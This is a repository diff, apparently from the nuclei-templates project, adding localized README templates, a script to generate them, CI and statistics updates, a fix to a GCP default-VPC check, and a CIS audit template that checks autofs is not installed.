fix-fp

Create CVE-2025-57788.yaml
Merge pull request #12794 from tpierru/pensando-default-login
2026-11-07 08:36:19 -10:00 · 2025-08-20 18:00:38 +05:30 · 2025-08-20 17:15:33 +05:30 · 2025-08-20 02:50:42 -07:00 · 2025-08-20 15:15:10 +05:30 · 2025-08-20 15:05:36 +05:30
366 changed files with 12158 additions and 7979 deletions
@@ -0,0 +1,87 @@
+f"""
+
+<h1 align="center">
+Nuclei 模板
+</h1>
+<div align="center">
+<a href="README.md">English</a> |
+<a href="README_CN.md">简体中文</a> |
+<a href="README_JA.md">日本語</a> |
+<a href="README_KR.md">한국어</a>
+</div>
+<h4 align="center">这个仓库用于存放由社区精心挑选的模板,可以使用nuclei引擎结合模板发现应用中的漏洞。</h4>
+
+
+<p align="center">
+<a href="https://github.com/projectdiscovery/nuclei-templates/issues"><img src="https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat"></a>
+<a href="https://github.com/projectdiscovery/nuclei-templates/releases"><img src="https://img.shields.io/github/release/projectdiscovery/nuclei-templates"></a>
+<a href="https://twitter.com/pdnuclei"><img src="https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter"></a>
+<a href="https://discord.gg/projectdiscovery"><img src="https://img.shields.io/discord/695645237418131507.svg?logo=discord"></a>
+</p>
+
+<p align="center">
+  <a href="https://nuclei.projectdiscovery.io/templating-guide/">文档</a> •
+  <a href="#-贡献">贡献</a> •
+  <a href="#-交流">交流</a> •
+  <a href="#-社区">社区</a> •
+  <a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
+  <a href="https://discord.gg/projectdiscovery">加入Discord</a>
+</p>
+
+----
+
+模板是 [nuclei 扫描器](https://github.com/projectdiscovery/nuclei) 的核心.
+这个git仓库储存了由PD团队以及社区贡献的各种扫描模板.
+我们希望您也能攻通过 **pull requests** 或者[Github issues](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+)来提交模板以扩大我们的仓库列表.
+
+
+## Nuclei模板项目情况概述
+
+
+以下是nuclei模板项目的情况概览,包括唯一标签,作者,目录,严重性,模板类型的相关统计情况.以下表格列出了前面提到的每项情况的TOP10信息;你也可以点击[这里](TEMPLATES-STATS.md)查看详细信息.当然你也可以点击[这里](TEMPLATES-STATS.json)获取JSON格式的详细情况统计
+
+<table>
+<tr>
+<td> 
+
+{get_top10()}
+
+**{command("tree", -2, None)}**.
+
+</td>
+</tr>
+</table>
+
+📖 文档
+-----
+
+详细的文档请访问我们的网站[https://nuclei.projectdiscovery.io](https://nuclei.projectdiscovery.io),在我们网站的详细文档中,我们提供了如何创建模板的具体方法,并且也提供了相应的示例模板来帮助您更好地理解模板的开发以及运行原理.
+
+💪 贡献
+-----
+
+社区是Nuclei模板项目的主要贡献主力,我们非常欢迎开发者们来贡献模板,提出需求和报告Bug.
+
+![Alt](https://repobeats.axiom.co/api/embed/55ee65543bb9a0f9c797626c4e66d472a517d17c.svg "Repobeats analytics image")
+
+💬 交流
+-----
+
+如果您有任何关于该项目的疑问或是新奇的点子,欢迎在[Github discussions](https://github.com/projectdiscovery/nuclei-templates/discussions)创建新的板块来进行讨论.
+
+👨‍💻 社区
+-----
+
+欢迎您加入我们的[Discord 社区](https://discord.gg/projectdiscovery)，与项目维护人员直接讨论，或与其他人分享有关安全和自动化的想法。
+此外，您还可以在 [Twitter](https://twitter.com/pdnuclei) 上关注我们，了解 Nuclei 的最新动态。
+
+
+<p align="center">
+<a href="https://github.com/projectdiscovery/nuclei-templates/graphs/contributors">
+  <img src="https://contrib.rocks/image?repo=projectdiscovery/nuclei-templates&max=300">
+</a>
+</p>
+
+
+最后,感谢您对这个项目的贡献,这将让我们的社区更加充满活力.
+"""
@@ -0,0 +1,82 @@
+f"""<h1 align="center">
+Nuclei テンプレート
+</h1>
+<h4 align="center">アプリケーションのセキュリティ脆弱性を発見するためのNucleiエンジン用テンプレートのコミュニティキュレーションリスト</h4>
+
+<p align="center">
+<a href="https://github.com/projectdiscovery/nuclei-templates/issues"><img src="https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat"></a>
+<a href="https://github.com/projectdiscovery/nuclei-templates/releases"><img src="https://img.shields.io/github/release/projectdiscovery/nuclei-templates"></a>
+<a href="https://twitter.com/pdnuclei"><img src="https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter"></a>
+<a href="https://discord.gg/projectdiscovery"><img src="https://img.shields.io/discord/695645237418131507.svg?logo=discord"></a>
+</p>
+      
+<p align="center">
+  <a href="https://nuclei.projectdiscovery.io/templating-guide/">ドキュメント</a> •
+  <a href="#-contributions">貢献</a> •
+  <a href="#-discussion">ディスカッション</a> •
+  <a href="#-community">コミュニティ</a> •
+  <a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
+  <a href="https://discord.gg/projectdiscovery">Discordに参加</a>
+</p>
+
+<p align="center">
+  <a href="https://github.com/projectdiscovery/nuclei-templates/blob/master/README.md">English</a> •
+  <a href="https://github.com/projectdiscovery/nuclei-templates/blob/master/README_KR.md">한국어</a> •
+  <a href="https://github.com/projectdiscovery/nuclei-templates/blob/master/README_JP.md">日本語</a>
+</p>
+
+----
+
+テンプレートは、実際のスキャンエンジンを動作させる[nucleiスキャナー](https://github.com/projectdiscovery/nuclei)のコアです。
+このリポジトリは、私たちのチームが提供するテンプレートや、コミュニティからの貢献によるさまざまなテンプレートを保存・管理します。
+テンプレートのリストを増やすために、**プルリクエスト**や[Github issues](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+)を通じて貢献していただけると幸いです。
+
+## Nuclei テンプレートの概要
+
+Nucleiテンプレートプロジェクトの概要であり、ユニークなタグ、著者、ディレクトリ、重大度、テンプレートの種類に関する統計を含みます。以下の表は、各マトリックスのトップ10の統計を示しています。拡張バージョンは[こちら](TEMPLATES-STATS.md)で確認でき、[JSON](TEMPLATES-STATS.json)形式でも利用可能です。
+
+<table>
+<tr>
+<td> 
+
+{get_top10()}
+
+**{command("tree", -2, None)}**.
+
+</td>
+</tr>
+</table>
+
+📖 ドキュメント
+-----
+
+新しいテンプレートやカスタムテンプレートを作成するための詳細なドキュメントは、https://nuclei.projectdiscovery.io で確認できます。作業方法を理解するためのテンプレートも用意しています。
+
+💪 貢献
+-----
+
+Nucleiテンプレートはコミュニティの貢献によって動作します。
+[テンプレートの貢献](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+)、[機能リクエスト](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=feature_request.md&title=%5BFeature%5D+)、[バグ報告](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=bug_report.md&title=%5BBug%5D+)はいつでも歓迎します。
+
+![Alt](https://repobeats.axiom.co/api/embed/55ee65543bb9a0f9c797626c4e66d472a517d17c.svg "Repobeats analytics image")
+
+💬 ディスカッション
+-----
+
+質問、疑問、アイデアを話し合いたいですか？
+[Github discussions](https://github.com/projectdiscovery/nuclei-templates/discussions)で自由に始めることができます。
+
+👨‍💻 コミュニティ
+-----
+
+プロジェクトの管理者と直接話し合い、セキュリティや自動化に関することを他の人と共有するために、[Discord Community](https://discord.gg/projectdiscovery)に参加することを歓迎します。さらに、Nucleiに関するすべての情報を更新するために、[Twitter](https://twitter.com/pdnuclei)をフォローすることもできます。
+
+<p align="center">
+<a href="https://github.com/projectdiscovery/nuclei-templates/graphs/contributors">
+  <img src="https://contrib.rocks/image?repo=projectdiscovery/nuclei-templates&max=300">
+</a>
+</p>
+
+皆さんの貢献とコミュニティの活性化への努力に感謝します。
+:heart:
+"""
@@ -0,0 +1,84 @@
+f"""
+
+<h1 align="center">
+Nuclei 템플릿
+</h1>
+<h4 align="center">커뮤니티에서 엄선한, 애플리케이션 보안 취약점을 찾기 위한 Nuclei 엔진용 템플릿 목록</h4>
+
+
+<p align="center">
+<a href="https://github.com/projectdiscovery/nuclei-templates/issues"><img src="https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat"></a>
+<a href="https://github.com/projectdiscovery/nuclei-templates/releases"><img src="https://img.shields.io/github/release/projectdiscovery/nuclei-templates"></a>
+<a href="https://twitter.com/pdnuclei"><img src="https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter"></a>
+<a href="https://discord.gg/projectdiscovery"><img src="https://img.shields.io/discord/695645237418131507.svg?logo=discord"></a>
+</p>
+      
+<p align="center">
+  <a href="https://nuclei.projectdiscovery.io/templating-guide/">가이드 문서</a> •
+  <a href="#-contributions">기여</a> •
+  <a href="#-discussion">논의</a> •
+  <a href="#-community">커뮤니티</a> •
+  <a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
+  <a href="https://discord.gg/projectdiscovery">디스코드</a>
+</p>
+
+<p align="center">
+  <a href="https://github.com/projectdiscovery/nuclei-templates/blob/master/README.md">English</a> •
+  <a href="https://github.com/projectdiscovery/nuclei-templates/blob/master/README_KR.md">한국어</a>
+</p>
+
+----
+
+템플릿은 실제 스캐닝 엔진을 동작하게 하는 [nuclei scanner](https://github.com/projectdiscovery/nuclei)의 핵심입니다.
+이 저장소는 우리 팀에서 제공하거나, 커뮤니티에서 기여한 다양한 템플릿들을 저장하고 보관합니다.
+템플릿 목록을 증가시키기 위해서 **pull requests** 나 [Github issues](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+) 를 통해 기여해주시기를 부탁드립니다.
+
+## Nuclei 템플릿 개요
+
+고유 태그, 작성자, 디렉토리, 심각도, 템플릿 종류에 대한 통계를 포함하고 있는 nuclei 템플릿의 개요입니다. 아래 표는 각 지표의 상위 10개 항목을 나타내고 있습니다. 더 자세한 정보는 [이곳](TEMPLATES-STATS.md)에서 확인 가능하고, [JSON](TEMPLATES-STATS.json) 형식으로도 확인 가능합니다. 
+
+<table>
+<tr>
+<td> 
+
+{get_top10()}
+
+**{command("tree", -2, None)}**.
+
+</td>
+</tr>
+</table>
+
+📖 문서
+-----
+
+새 템플릿이나 사용자 정의 템플릿을 빌드하기 위한 자세한 문서는 https://nuclei.projectdiscovery.io 에서 확인할 수 있습니다. 작업 방식의 이해를 돕기 위한 템플릿들도 있습니다.
+
+💪 기여
+-----
+
+Nuclei 템플릿은 커뮤니티의 기여로 동작합니다.
+[템플릿 기여](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+), [기능 요청](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=feature_request.md&title=%5BFeature%5D+), [버그 제보](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=bug_report.md&title=%5BBug%5D+)는 언제든지 환영합니다.
+
+![Alt](https://repobeats.axiom.co/api/embed/55ee65543bb9a0f9c797626c4e66d472a517d17c.svg "Repobeats analytics image")
+
+💬 논의
+-----
+
+같이 이야기하고 싶은 질문, 의문 혹은 아이디어가 있으신가요?
+[Github discussions](https://github.com/projectdiscovery/nuclei-templates/discussions) 에서 자유롭게 시작할 수 있습니다.
+
+👨‍💻 커뮤니티
+-----
+
+프로젝트 관리자와 직접 논의하고 보안과 자동화 관련 사항을 다른 사람과 공유하기 위해 [Discord Community](https://discord.gg/projectdiscovery) 에 참여하는 것을 환영합니다. 추가로 Nuclei 에 대한 모든 정보를 업데이트 하기 위해 [트위터](https://twitter.com/pdnuclei) 팔로우를 할 수 있습니다.
+
+<p align="center">
+<a href="https://github.com/projectdiscovery/nuclei-templates/graphs/contributors">
+  <img src="https://contrib.rocks/image?repo=projectdiscovery/nuclei-templates&max=300">
+</a>
+</p>
+
+여러분의 기여와 커뮤니티의 활성화를 위한 노력에 다시한번 감사드립니다.
+:heart:
+"""
@@ -18,6 +18,25 @@ if __name__ == "__main__":
 	template = eval(open(".github/scripts/README.tmpl", "r").read())

 	print(template)
+	
+	# Update main README.md
 	f = open("README.md", "w")
 	f.write(template)
 	f.close()
+	
+	# Update localized README files with their respective templates
+	localized_files = {
+		"README_CN.md": ".github/scripts/README_CN.tmpl",
+		"README_JA.md": ".github/scripts/README_JA.tmpl", 
+		"README_KR.md": ".github/scripts/README_KR.tmpl"
+	}
+	
+	for readme_file, template_file in localized_files.items():
+		try:
+			localized_template = eval(open(template_file, "r").read())
+			f = open(readme_file, "w")
+			f.write(localized_template)
+			f.close()
+		except FileNotFoundError:
+			print(f"Template {template_file} not found, skipping {readme_file}")
+			continue
@@ -21,6 +21,6 @@ jobs:
      - uses: projectdiscovery/actions/setup/git@v1
      - uses: projectdiscovery/actions/commit@v1
        with:
-          files: 'README.md'
+          files: 'README.md README_*.md'
          message: 'docs: update README 🤖'
      - run: git push origin $GITHUB_REF
@@ -28,7 +28,7 @@ jobs:
        with:
          token: '${{ secrets.GITHUB_TOKEN }}'
      - name: Validate templates
-        run: nuclei -duc -validate -lfa -ud $GITHUB_WORKSPACE -w workflows/ -et .github/
+        run: nuclei -duc -validate -lfa -ud $GITHUB_WORKSPACE -w workflows/ -et .github/ -ept code -et helpers/payloads/

  weak-matcher-checks:
    needs: lint
@@ -1,13 +1,20 @@
-http/cves/2022/CVE-2022-25237.yaml
-http/cves/2024/CVE-2024-2053.yaml
-http/cves/2025/CVE-2025-1595.yaml
-http/cves/2025/CVE-2025-44177.yaml
-http/cves/2025/CVE-2025-6197.yaml
-http/default-logins/apache/apache-inlong-default-login.yaml
-http/default-logins/openmetadata/openmetadata-default-login.yaml
-http/exposed-panels/scalar-detection.yaml
-http/miscellaneous/dnt-policy-detect.yaml
-http/technologies/apache/apache-inlong-detect.yaml
-http/technologies/nocobase-detect.yaml
-http/technologies/openmetadata-detect.yaml
-http/vulnerabilities/other/easycvr-user-info-disclosure.yaml
+http/cves/2023/CVE-2023-37988.yaml
+http/cves/2025/CVE-2025-27888.yaml
+http/cves/2025/CVE-2025-28906.yaml
+http/cves/2025/CVE-2025-32430.yaml
+http/cves/2025/CVE-2025-34073.yaml
+http/cves/2025/CVE-2025-54589.yaml
+http/cves/2025/CVE-2025-6934.yaml
+http/exposed-panels/espec-web-controller-panel.yaml
+http/exposed-panels/huawei-holosense-panel.yaml
+http/exposed-panels/hyperdx-panel.yaml
+http/exposed-panels/zipline-panel.yaml
+http/exposures/files/python-venv-exposure.yaml
+http/miscellaneous/atproto-did-exposure.yaml
+http/miscellaneous/mta-sts-exposure.yaml
+http/miscellaneous/nostr-json-exposure.yaml
+http/miscellaneous/oauth-authorization-server-exposure.yaml
+http/miscellaneous/pki-validation-exposure.yaml
+http/misconfiguration/mapproxy-file-read.yaml
+http/technologies/nvidia-triton-detect.yaml
+network/cves/2025/CVE-2025-25256.yaml
@@ -17,6 +17,7 @@ tags:
  - "local"
  - "fuzz"
  - "bruteforce"
+  - "txt-service"

 # The following templates have been excluded because they have weak matchers and may generate FP results.
 # Please feel free to create PR if you can update the templates with strict matchers.
@@ -31,7 +32,6 @@ files:
  - http/fuzzing/mdb-database-file.yaml
  - http/fuzzing/iis-shortname.yaml
  - dns/soa-detect.yaml
-  - dns/txt-service-detect.yaml
  - javascript/enumeration/pop3/pop3-capabilities-enum.yaml
  - javascript/enumeration/redis/redis-require-auth.yaml
  - dast/vulnerabilities/sqli/time-based-sqli.yaml
@@ -42,18 +42,18 @@ An overview of the nuclei template project, including statistics on unique tags,

 |    TAG    | COUNT |    AUTHOR     | COUNT | DIRECTORY  | COUNT | SEVERITY | COUNT | TYPE | COUNT |
 |-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
-| cve       |  3275 | dhiyaneshdk   |  1877 | http       |  8913 | info     |  4154 | file |   435 |
-| panel     |  1338 | daffainfo     |   868 | cloud      |   657 | high     |  2439 | dns  |    26 |
-| xss       |  1255 | princechaddha |   826 | file       |   435 | medium   |  2374 |      |       |
-| wordpress |  1180 | dwisiswant0   |   806 | dast       |   255 | critical |  1418 |      |       |
-| exposure  |  1105 | ritikchaddha  |   648 | workflows  |   202 | low      |   318 |      |       |
-| wp-plugin |  1031 | pussycat0x    |   529 | code       |   198 | unknown  |    56 |      |       |
-| osint     |   813 | pikpikcu      |   352 | network    |   145 |          |       |      |       |
-| tech      |   800 | pdteam        |   310 | javascript |    71 |          |       |      |       |
-| rce       |   783 | pdresearch    |   267 | ssl        |    38 |          |       |      |       |
-| lfi       |   775 | iamnoooob     |   256 | dns        |    23 |          |       |      |       |
+| cve       |  3288 | dhiyaneshdk   |  1882 | http       |  8967 | info     |  4190 | file |   435 |
+| panel     |  1342 | daffainfo     |   868 | cloud      |   657 | high     |  2446 | dns  |    26 |
+| xss       |  1257 | princechaddha |   854 | file       |   435 | medium   |  2379 |      |       |
+| wordpress |  1181 | dwisiswant0   |   806 | dast       |   255 | critical |  1425 |      |       |
+| exposure  |  1107 | ritikchaddha  |   649 | workflows  |   202 | low      |   318 |      |       |
+| wp-plugin |  1032 | pussycat0x    |   532 | code       |   198 | unknown  |    56 |      |       |
+| osint     |   841 | pikpikcu      |   352 | network    |   145 |          |       |      |       |
+| tech      |   803 | pdteam        |   310 | javascript |    71 |          |       |      |       |
+| rce       |   786 | pdresearch    |   269 | ssl        |    38 |          |       |      |       |
+| lfi       |   777 | iamnoooob     |   257 | dns        |    23 |          |       |      |       |

-**847 directories, 11287 files**.
+**848 directories, 11344 files**.

 </td>
 </tr>
@@ -1 +1 @@
-{"tags":[{"name":"cve","count":3275},{"name":"panel","count":1338},{"name":"xss","count":1255},{"name":"wordpress","count":1180},{"name":"exposure","count":1105},{"name":"wp-plugin","count":1031},{"name":"osint","count":813},{"name":"tech","count":800},{"name":"rce","count":783},{"name":"lfi","count":775},{"name":"misconfig","count":754},{"name":"devops","count":740},{"name":"cloud","count":697},{"name":"edb","count":599},{"name":"wp","count":578},{"name":"packetstorm","count":552},{"name":"wpscan","count":536},{"name":"cve2021","count":513},{"name":"cve2022","count":513},{"name":"detect","count":492},{"name":"cve2023","count":489},{"name":"sqli","count":487},{"name":"cve2024","count":472},{"name":"login","count":456},{"name":"unauth","count":436},{"name":"kev","count":436},{"name":"authenticated","count":425},{"name":"intrusive","count":405},{"name":"file","count":377},{"name":"oast","count":284},{"name":"cve2020","count":277},{"name":"default-login","count":276},{"name":"config","count":255},{"name":"token-spray","count":247},{"name":"apache","count":241},{"name":"microsoft","count":240},{"name":"top-200","count":235},{"name":"gcp","count":232},{"name":"gcp-cloud-config","count":226},{"name":"gcloud","count":224},{"name":"network","count":219},{"name":"malware","count":213},{"name":"osint-social","count":212},{"name":"token","count":211},{"name":"azure","count":210},{"name":"","count":205},{"name":"csp-bypass","count":204},{"name":"aws","count":192},{"name":"azure-cloud-config","count":191},{"name":"time-based-sqli","count":191},{"name":"auth-bypass","count":190},{"name":"cve2018","count":184},{"name":"iot","count":184},{"name":"cve2019","count":183},{"name":"code","count":177},{"name":"amazon","count":175},{"name":"install","count":166},{"name":"redirect","count":157},{"name":"keys","count":156},{"name":"joomla","count":151},{"name":"ssrf","count":148},{"name":"aws-cloud-config","count":147},{"name":"tcp","count":142},{"name":"security","count":137},{"name":"router","count":132},{"name":"cve2025","count":127},{"name":"files","count":125},{"name":"cms","count":123},{"name":"cve2017","count":120},{"name":"phishing","count":118},{"name":"cve2010","count":112},{"name":"kubernetes","count":111},{"name":"disclosure","count":107},{"name":"top-100","count":100},{"name":"tokens","count":97},{"name":"windows-audit","count":90},{"name":"linux","count":88},{"name":"seclists","count":86},{"name":"oss","count":85},{"name":"local","count":81},{"name":"takeover","count":81},{"name":"privesc","count":81},{"name":"oracle","count":80},{"name":"fileupload","count":77},{"name":"js","count":76},{"name":"windows","count":76},{"name":"cisco","count":75},{"name":"enum","count":73},{"name":"k8s","count":71},{"name":"file-upload","count":66},{"name":"adobe","count":65},{"name":"huntr","count":64},{"name":"ir","count":63},{"name":"c2","count":61},{"name":"cve2015","count":61},{"name":"alibaba","count":61},{"name":"cve2016","count":60},{"name":"atlassian","count":59},{"name":"google","count":59},{"name":"detection","count":59},{"name":"vmware","count":58},{"name":"deserialization","count":56},{"name":"audit","count":55},{"name":"php","count":52},{"name":"dast","count":51},{"name":"logs","count":50},{"name":"cve2014","count":50},{"name":"tenable","count":48},{"name":"traversal","count":48},{"name":"hackerone","count":48},{"name":"log4j","count":48},{"name":"ssti","count":48},{"name":"generic","count":47},{"name":"ssh","count":47},{"name":"debug","count":47},{"name":"misc","count":46},{"name":"vulhub","count":46},{"name":"cnvd","count":46},{"name":"aem","count":46},{"name":"osint-gaming","count":45},{"name":"injection","count":45},{"name":"plugin","count":45},{"name":"aliyun","count":45},{"name":"jndi","count":44},{"name":"oa","count":43},{"name":"ssl","count":43},{"name":"springboot","count":43},{"name":"fortinet","count":42},{"name":"ibm","count":42},{"name":"osint-hobby","count":42},{"name":"osint-porn","count":42},{"name":"tls","count":41},{"name":"firewall","count":41},{"name":"listing","count":40},{"name":"info-leak","count":40},{"name":"miscellaneous","count":39},{"name":"postgresql","count":39},{"name":"dlink","count":39},{"name":"cti","count":38},{"name":"sap","count":38},{"name":"api","count":38},{"name":"k8s-cluster-security","count":37},{"name":"jira","count":37},{"name":"wp-theme","count":36},{"name":"google-cloud-sql","count":36},{"name":"osint-misc","count":35},{"name":"networking","count":34},{"name":"devsecops","count":34},{"name":"gitlab","count":34},{"name":"lfr","count":34},{"name":"xxe","count":34},{"name":"dns","count":33},{"name":"fuzz","count":33},{"name":"yonyou","count":32},{"name":"printer","count":31},{"name":"vpc","count":31},{"name":"graphql","count":31},{"name":"nginx","count":31},{"name":"osint-tech","count":31},{"name":"ec2","count":30},{"name":"alibaba-cloud-config","count":30},{"name":"osint-coding","count":30},{"name":"prestashop","count":29},{"name":"gke","count":29},{"name":"ftp","count":29},{"naLine truncated
+{"tags":[{"name":"cve","count":3288},{"name":"panel","count":1342},{"name":"xss","count":1257},{"name":"wordpress","count":1181},{"name":"exposure","count":1107},{"name":"wp-plugin","count":1032},{"name":"osint","count":841},{"name":"tech","count":803},{"name":"rce","count":786},{"name":"lfi","count":777},{"name":"misconfig","count":758},{"name":"devops","count":740},{"name":"cloud","count":696},{"name":"edb","count":599},{"name":"wp","count":579},{"name":"packetstorm","count":552},{"name":"wpscan","count":536},{"name":"cve2022","count":514},{"name":"cve2021","count":513},{"name":"detect","count":501},{"name":"cve2023","count":489},{"name":"sqli","count":488},{"name":"cve2024","count":473},{"name":"login","count":458},{"name":"unauth","count":439},{"name":"kev","count":436},{"name":"authenticated","count":425},{"name":"intrusive","count":407},{"name":"file","count":377},{"name":"oast","count":285},{"name":"default-login","count":279},{"name":"cve2020","count":277},{"name":"config","count":255},{"name":"token-spray","count":247},{"name":"apache","count":243},{"name":"microsoft","count":240},{"name":"top-200","count":235},{"name":"gcp","count":232},{"name":"osint-social","count":226},{"name":"gcp-cloud-config","count":226},{"name":"gcloud","count":224},{"name":"network","count":220},{"name":"malware","count":213},{"name":"token","count":211},{"name":"azure","count":210},{"name":"","count":205},{"name":"csp-bypass","count":204},{"name":"aws","count":192},{"name":"auth-bypass","count":191},{"name":"azure-cloud-config","count":191},{"name":"time-based-sqli","count":191},{"name":"cve2018","count":184},{"name":"iot","count":184},{"name":"cve2019","count":183},{"name":"code","count":177},{"name":"amazon","count":175},{"name":"install","count":166},{"name":"redirect","count":158},{"name":"keys","count":156},{"name":"joomla","count":151},{"name":"ssrf","count":149},{"name":"aws-cloud-config","count":147},{"name":"tcp","count":143},{"name":"cve2025","count":138},{"name":"security","count":137},{"name":"router","count":132},{"name":"files","count":125},{"name":"cms","count":123},{"name":"cve2017","count":120},{"name":"phishing","count":118},{"name":"cve2010","count":112},{"name":"kubernetes","count":111},{"name":"disclosure","count":107},{"name":"top-100","count":100},{"name":"tokens","count":97},{"name":"windows-audit","count":90},{"name":"linux","count":88},{"name":"seclists","count":86},{"name":"oss","count":85},{"name":"local","count":81},{"name":"takeover","count":81},{"name":"privesc","count":81},{"name":"oracle","count":80},{"name":"fileupload","count":77},{"name":"windows","count":76},{"name":"js","count":76},{"name":"cisco","count":75},{"name":"enum","count":73},{"name":"k8s","count":71},{"name":"file-upload","count":68},{"name":"adobe","count":65},{"name":"huntr","count":64},{"name":"ir","count":63},{"name":"alibaba","count":61},{"name":"cve2015","count":61},{"name":"c2","count":61},{"name":"cve2016","count":60},{"name":"detection","count":59},{"name":"google","count":59},{"name":"atlassian","count":59},{"name":"vmware","count":58},{"name":"deserialization","count":56},{"name":"audit","count":55},{"name":"php","count":52},{"name":"dast","count":51},{"name":"cve2014","count":50},{"name":"logs","count":50},{"name":"traversal","count":49},{"name":"osint-gaming","count":49},{"name":"tenable","count":48},{"name":"log4j","count":48},{"name":"ssti","count":48},{"name":"hackerone","count":48},{"name":"generic","count":47},{"name":"debug","count":47},{"name":"ssh","count":47},{"name":"vulhub","count":46},{"name":"aem","count":46},{"name":"plugin","count":46},{"name":"cnvd","count":46},{"name":"misc","count":46},{"name":"aliyun","count":45},{"name":"injection","count":45},{"name":"jndi","count":44},{"name":"oa","count":43},{"name":"fortinet","count":43},{"name":"springboot","count":43},{"name":"ssl","count":43},{"name":"osint-hobby","count":42},{"name":"osint-porn","count":42},{"name":"ibm","count":42},{"name":"firewall","count":41},{"name":"tls","count":41},{"name":"listing","count":41},{"name":"info-leak","count":40},{"name":"miscellaneous","count":39},{"name":"dlink","count":39},{"name":"api","count":39},{"name":"postgresql","count":39},{"name":"sap","count":38},{"name":"cti","count":38},{"name":"jira","count":37},{"name":"osint-coding","count":37},{"name":"k8s-cluster-security","count":37},{"name":"google-cloud-sql","count":36},{"name":"wp-theme","count":36},{"name":"osint-misc","count":35},{"name":"lfr","count":34},{"name":"gitlab","count":34},{"name":"networking","count":34},{"name":"xxe","count":34},{"name":"devsecops","count":34},{"name":"dns","count":33},{"name":"fuzz","count":33},{"name":"yonyou","count":32},{"name":"nginx","count":31},{"name":"osint-tech","count":31},{"name":"vpc","count":31},{"name":"graphql","count":31},{"name":"printer","count":31},{"name":"alibaba-cloud-config","count":30},{"name":"ec2","count":30},{"name":"admin","count":29},{"name":"prestashop","count":29},{"name":"gke","count":29},{"Line truncated
@@ -1,12 +1,12 @@
 |    TAG    | COUNT |    AUTHOR     | COUNT | DIRECTORY  | COUNT | SEVERITY | COUNT | TYPE | COUNT |
 |-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
-| cve       |  3275 | dhiyaneshdk   |  1877 | http       |  8913 | info     |  4154 | file |   435 |
-| panel     |  1338 | daffainfo     |   868 | cloud      |   657 | high     |  2439 | dns  |    26 |
-| xss       |  1255 | princechaddha |   826 | file       |   435 | medium   |  2374 |      |       |
-| wordpress |  1180 | dwisiswant0   |   806 | dast       |   255 | critical |  1418 |      |       |
-| exposure  |  1105 | ritikchaddha  |   648 | workflows  |   202 | low      |   318 |      |       |
-| wp-plugin |  1031 | pussycat0x    |   529 | code       |   198 | unknown  |    56 |      |       |
-| osint     |   813 | pikpikcu      |   352 | network    |   145 |          |       |      |       |
-| tech      |   800 | pdteam        |   310 | javascript |    71 |          |       |      |       |
-| rce       |   783 | pdresearch    |   267 | ssl        |    38 |          |       |      |       |
-| lfi       |   775 | iamnoooob     |   256 | dns        |    23 |          |       |      |       |
+| cve       |  3288 | dhiyaneshdk   |  1882 | http       |  8967 | info     |  4190 | file |   435 |
+| panel     |  1342 | daffainfo     |   868 | cloud      |   657 | high     |  2446 | dns  |    26 |
+| xss       |  1257 | princechaddha |   854 | file       |   435 | medium   |  2379 |      |       |
+| wordpress |  1181 | dwisiswant0   |   806 | dast       |   255 | critical |  1425 |      |       |
+| exposure  |  1107 | ritikchaddha  |   649 | workflows  |   202 | low      |   318 |      |       |
+| wp-plugin |  1032 | pussycat0x    |   532 | code       |   198 | unknown  |    56 |      |       |
+| osint     |   841 | pikpikcu      |   352 | network    |   145 |          |       |      |       |
+| tech      |   803 | pdteam        |   310 | javascript |    71 |          |       |      |       |
+| rce       |   786 | pdresearch    |   269 | ssl        |    38 |          |       |      |       |
+| lfi       |   777 | iamnoooob     |   257 | dns        |    23 |          |       |      |       |
@@ -35,7 +35,7 @@ code:
        name: projectIds
        internal: true
        json:
-          - '.[].projectId'
+          - ".[].projectId"

  - engine:
      - sh
@@ -45,11 +45,12 @@ code:

    matchers:
      - type: word
+        part: body
        words:
-          - 'default'
+          - '"name": "default"'

    extractors:
      - type: dsl
        dsl:
          - '"The default VPC network is in use in project " + projectId'
-# digest: 4b0a00483046022100ab535503a862d00ef6624bb1eb9dcf10f41a12512e62037044333ae5d539fafc022100e5d94c98878e32663b7a4da7abe3150a742fbf9226ae4af273d4282c11353910:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100dac56d5c0cf82c13d6b7d4b2556aea94ece44bd1ee3fa9dea355cfee33296539022035233a06905e636e15a23dae37054a6eef797b37db6da1a9f716fd119562de7c:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,44 @@
+id: autofs-service
+
+info:
+  name: Ensure autofs Service is Not Installed
+  author: Th3l0newolf
+  severity: info
+  description: |
+    The autofs package provides the automounting service, which mounts file systems automatically on demand. If not explicitly required, having this service installed increases the system’s attack surface and should be avoided.
+  remediation: |
+    - Ensure the `autofs` package is not installed unless explicitly required.
+    - To disable the service if present, run: sudo systemctl disable --now autofs 2>/dev/null || true
+    - To remove the package, run: sudo apt-get purge -y autofs
+    - To clean up dependencies, run: sudo apt-get autoremove -y
+    - To verify removal, run: dpkg-query -s autofs || echo "autofs not installed"
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,cisecurity,audit,linux,ubuntu
+
+self-contained: true
